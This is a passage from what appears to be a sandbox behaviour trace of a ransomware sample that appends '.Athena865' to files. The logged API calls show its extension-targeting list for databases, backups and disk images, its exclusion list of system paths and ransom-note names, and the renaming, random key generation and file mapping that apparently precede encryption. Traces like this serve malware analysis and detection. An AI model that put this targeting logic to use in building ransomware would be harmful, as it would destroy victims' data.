(lpString="ns4") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0117.573] lstrlenW (lpString="nsf") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0117.573] lstrlenW (lpString="nv") returned 2 [0117.573] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0117.573] lstrlenW (lpString="nv2") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0117.573] lstrlenW (lpString="nwdb") returned 4 [0117.573] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0117.573] lstrlenW (lpString="nyf") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0117.573] lstrlenW (lpString="odb") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0117.573] lstrlenW (lpString="odb") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0117.574] lstrlenW (lpString="oqy") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0117.574] lstrlenW (lpString="ora") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0117.574] lstrlenW (lpString="orx") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0117.574] lstrlenW (lpString="owc") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0117.574] lstrlenW (lpString="p96") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0117.574] lstrlenW (lpString="p97") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0117.574] lstrlenW (lpString="pan") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0117.574] lstrlenW (lpString="pdb") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0117.574] lstrlenW (lpString="pdm") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0117.574] lstrlenW (lpString="pnz") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0117.574] lstrlenW (lpString="qry") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0117.574] lstrlenW (lpString="qvd") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0117.574] lstrlenW (lpString="rbf") returned 3 [0117.574] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0117.574] lstrlenW (lpString="rctd") returned 4 [0117.574] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0117.574] lstrlenW (lpString="rod") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0117.575] lstrlenW (lpString="rodx") returned 4 [0117.575] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0117.575] lstrlenW (lpString="rpd") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0117.575] lstrlenW (lpString="rsd") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0117.575] lstrlenW (lpString="sas7bdat") returned 8 [0117.575] lstrcmpiW (lpString1="STAR.DLL", lpString2="sas7bdat") returned 1 [0117.575] lstrlenW (lpString="sbf") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0117.575] lstrlenW (lpString="scx") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0117.575] lstrlenW (lpString="sdb") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0117.575] lstrlenW (lpString="sdc") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0117.575] lstrlenW (lpString="sdf") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0117.575] lstrlenW (lpString="sis") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0117.575] lstrlenW (lpString="spq") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0117.575] lstrlenW (lpString="te") returned 2 [0117.575] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0117.575] lstrlenW (lpString="teacher") returned 7 [0117.575] lstrcmpiW (lpString1="TAR.DLL", lpString2="teacher") returned -1 [0117.575] lstrlenW (lpString="tmd") returned 3 [0117.575] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0117.576] lstrlenW (lpString="tps") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0117.576] lstrlenW (lpString="trc") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0117.576] lstrlenW (lpString="trc") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0117.576] lstrlenW (lpString="trm") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0117.576] lstrlenW (lpString="udb") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0117.576] lstrlenW (lpString="udl") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0117.576] lstrlenW (lpString="usr") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0117.576] lstrlenW (lpString="v12") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0117.576] lstrlenW (lpString="vis") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0117.576] lstrlenW (lpString="vpd") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0117.576] lstrlenW (lpString="vvv") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0117.576] lstrlenW (lpString="wdb") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0117.576] lstrlenW (lpString="wmdb") returned 4 [0117.576] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0117.576] lstrlenW (lpString="wrk") returned 3 [0117.576] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0117.576] lstrlenW (lpString="xdb") returned 3 [0117.577] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0117.577] lstrlenW (lpString="xld") returned 3 [0117.577] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0117.577] lstrlenW (lpString="xmlff") returned 5 [0117.577] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0117.577] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.Athena865") returned 78 [0117.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.athena865"), dwFlags=0x1) returned 1 [0117.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.578] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=266096) returned 1 [0117.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54eb28 [0117.578] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ebb0) returned 1 [0117.579] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.579] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.579] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41270, lpName=0x0) returned 0x154 [0117.582] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41270) returned 0x2d50000 [0117.619] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ebb0) returned 1 [0117.620] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.620] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.621] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0117.623] CloseHandle (hObject=0x154) returned 1 [0117.623] CloseHandle (hObject=0x17c) returned 1 [0117.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x4f0000) returned 1 [0117.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.625] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="..") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="windows") returned -1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="bootmgr") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="temp") returned -1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="pagefile.sys") returned -1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="boot") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="ids.txt") returned 1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="ntuser.dat") returned -1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="perflogs") returned -1 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="MSBuild") returned -1 [0117.625] lstrlenW (lpString="MSB1XTOR.DLL") returned 12 [0117.625] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSB1XTOR.DLL" | out: lpString1="MSB1XTOR.DLL") returned="MSB1XTOR.DLL" [0117.625] lstrlenW (lpString="MSB1XTOR.DLL") returned 12 [0117.625] lstrlenW (lpString="Athena865") returned 9 [0117.625] lstrcmpiW (lpString1="1XTOR.DLL", lpString2="Athena865") returned -1 [0117.625] lstrlenW (lpString=".dll") returned 4 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".dll") returned 1 [0117.625] lstrlenW (lpString=".lnk") returned 4 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".lnk") returned 1 [0117.625] lstrlenW (lpString=".ini") returned 4 [0117.625] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".ini") returned 1 [0117.625] lstrlenW (lpString=".sys") returned 4 [0117.626] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".sys") returned 1 [0117.626] lstrlenW (lpString="MSB1XTOR.DLL") returned 12 [0117.626] lstrlenW (lpString="bak") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0117.626] lstrlenW (lpString="ba_") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0117.626] lstrlenW (lpString="dbb") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0117.626] lstrlenW (lpString="vmdk") returned 4 [0117.626] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0117.626] lstrlenW (lpString="rar") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0117.626] lstrlenW (lpString="zip") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0117.626] lstrlenW (lpString="tgz") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0117.626] lstrlenW (lpString="vbox") returned 4 [0117.626] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0117.626] lstrlenW (lpString="vdi") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0117.626] lstrlenW (lpString="vhd") returned 3 [0117.626] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0117.626] lstrlenW (lpString="vhdx") returned 4 [0117.626] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0117.626] lstrlenW (lpString="avhd") returned 4 [0117.627] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0117.627] lstrlenW (lpString="db") returned 2 [0117.627] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0117.627] lstrlenW (lpString="db2") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0117.627] lstrlenW (lpString="db3") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0117.627] lstrlenW (lpString="dbf") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0117.627] lstrlenW (lpString="mdf") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0117.627] lstrlenW (lpString="mdb") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0117.627] lstrlenW (lpString="sql") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0117.627] lstrlenW (lpString="sqlite") returned 6 [0117.627] lstrcmpiW (lpString1="OR.DLL", lpString2="sqlite") returned -1 [0117.627] lstrlenW (lpString="sqlite3") returned 7 [0117.627] lstrcmpiW (lpString1="TOR.DLL", lpString2="sqlite3") returned 1 [0117.627] lstrlenW (lpString="sqlitedb") returned 8 [0117.627] lstrcmpiW (lpString1="XTOR.DLL", lpString2="sqlitedb") returned 1 [0117.627] lstrlenW (lpString="xml") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0117.627] lstrlenW (lpString="$er") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0117.627] lstrlenW (lpString="4dd") returned 3 [0117.627] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0117.627] lstrlenW (lpString="4dl") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0117.628] lstrlenW (lpString="^^^") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0117.628] lstrlenW (lpString="abs") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0117.628] lstrlenW (lpString="abx") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0117.628] lstrlenW (lpString="accdb") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0117.628] lstrlenW (lpString="accdc") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0117.628] lstrlenW (lpString="accde") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0117.628] lstrlenW (lpString="accdr") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0117.628] lstrlenW (lpString="accdt") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0117.628] lstrlenW (lpString="accdw") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0117.628] lstrlenW (lpString="accft") returned 5 [0117.628] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0117.628] lstrlenW (lpString="adb") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.628] lstrlenW (lpString="adb") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.628] lstrlenW (lpString="ade") returned 3 [0117.628] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0117.628] lstrlenW (lpString="adf") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0117.629] lstrlenW (lpString="adn") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0117.629] lstrlenW (lpString="adp") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0117.629] lstrlenW (lpString="alf") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0117.629] lstrlenW (lpString="ask") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0117.629] lstrlenW (lpString="btr") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0117.629] lstrlenW (lpString="cat") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0117.629] lstrlenW (lpString="cdb") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0117.629] lstrlenW (lpString="ckp") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0117.629] lstrlenW (lpString="cma") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0117.629] lstrlenW (lpString="cpd") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0117.629] lstrlenW (lpString="dacpac") returned 6 [0117.629] lstrcmpiW (lpString1="OR.DLL", lpString2="dacpac") returned 1 [0117.629] lstrlenW (lpString="dad") returned 3 [0117.629] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0117.629] lstrlenW (lpString="dadiagrams") returned 10 [0117.629] lstrcmpiW (lpString1="B1XTOR.DLL", lpString2="dadiagrams") returned -1 [0117.629] lstrlenW (lpString="daschema") returned 8 [0117.630] lstrcmpiW (lpString1="XTOR.DLL", lpString2="daschema") returned 1 [0117.630] lstrlenW (lpString="db-journal") returned 10 [0117.630] lstrcmpiW (lpString1="B1XTOR.DLL", lpString2="db-journal") returned -1 [0117.630] lstrlenW (lpString="db-shm") returned 6 [0117.630] lstrcmpiW (lpString1="OR.DLL", lpString2="db-shm") returned 1 [0117.630] lstrlenW (lpString="db-wal") returned 6 [0117.630] lstrcmpiW (lpString1="OR.DLL", lpString2="db-wal") returned 1 [0117.630] lstrlenW (lpString="dbc") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0117.630] lstrlenW (lpString="dbs") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0117.630] lstrlenW (lpString="dbt") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0117.630] lstrlenW (lpString="dbv") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0117.630] lstrlenW (lpString="dbx") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0117.630] lstrlenW (lpString="dcb") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0117.630] lstrlenW (lpString="dct") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0117.630] lstrlenW (lpString="dcx") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0117.630] lstrlenW (lpString="ddl") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0117.630] lstrlenW (lpString="dlis") returned 4 [0117.630] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0117.630] lstrlenW (lpString="dp1") returned 3 [0117.630] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0117.630] lstrlenW (lpString="dqy") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0117.631] lstrlenW (lpString="dsk") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0117.631] lstrlenW (lpString="dsn") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0117.631] lstrlenW (lpString="dtsx") returned 4 [0117.631] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0117.631] lstrlenW (lpString="dxl") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0117.631] lstrlenW (lpString="eco") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0117.631] lstrlenW (lpString="ecx") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0117.631] lstrlenW (lpString="edb") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0117.631] lstrlenW (lpString="epim") returned 4 [0117.631] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0117.631] lstrlenW (lpString="fcd") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0117.631] lstrlenW (lpString="fdb") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0117.631] lstrlenW (lpString="fic") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0117.631] lstrlenW (lpString="flexolibrary") returned 12 [0117.631] lstrlenW (lpString="fm5") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0117.631] lstrlenW (lpString="fmp") returned 3 [0117.631] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0117.631] lstrlenW (lpString="fmp12") returned 5 [0117.632] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0117.632] lstrlenW (lpString="fmpsl") returned 5 [0117.632] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0117.632] lstrlenW (lpString="fol") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0117.632] lstrlenW (lpString="fp3") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0117.632] lstrlenW (lpString="fp4") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0117.632] lstrlenW (lpString="fp5") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0117.632] lstrlenW (lpString="fp7") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0117.632] lstrlenW (lpString="fpt") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0117.632] lstrlenW (lpString="frm") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0117.632] lstrlenW (lpString="gdb") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0117.632] lstrlenW (lpString="gdb") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0117.632] lstrlenW (lpString="grdb") returned 4 [0117.632] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0117.632] lstrlenW (lpString="gwi") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0117.632] lstrlenW (lpString="hdb") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0117.632] lstrlenW (lpString="his") returned 3 [0117.632] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0117.632] lstrlenW (lpString="ib") returned 2 [0117.633] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0117.633] lstrlenW (lpString="idb") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0117.633] lstrlenW (lpString="ihx") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0117.633] lstrlenW (lpString="itdb") returned 4 [0117.633] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0117.633] lstrlenW (lpString="itw") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0117.633] lstrlenW (lpString="jet") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0117.633] lstrlenW (lpString="jtx") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0117.633] lstrlenW (lpString="kdb") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0117.633] lstrlenW (lpString="kexi") returned 4 [0117.633] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0117.633] lstrlenW (lpString="kexic") returned 5 [0117.633] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0117.633] lstrlenW (lpString="kexis") returned 5 [0117.633] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0117.633] lstrlenW (lpString="lgc") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0117.633] lstrlenW (lpString="lwx") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0117.633] lstrlenW (lpString="maf") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0117.633] lstrlenW (lpString="maq") returned 3 [0117.633] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0117.633] lstrlenW (lpString="mar") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0117.634] lstrlenW (lpString="marshal") returned 7 [0117.634] lstrcmpiW (lpString1="TOR.DLL", lpString2="marshal") returned 1 [0117.634] lstrlenW (lpString="mas") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0117.634] lstrlenW (lpString="mav") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0117.634] lstrlenW (lpString="maw") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0117.634] lstrlenW (lpString="mdbhtml") returned 7 [0117.634] lstrcmpiW (lpString1="TOR.DLL", lpString2="mdbhtml") returned 1 [0117.634] lstrlenW (lpString="mdn") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0117.634] lstrlenW (lpString="mdt") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0117.634] 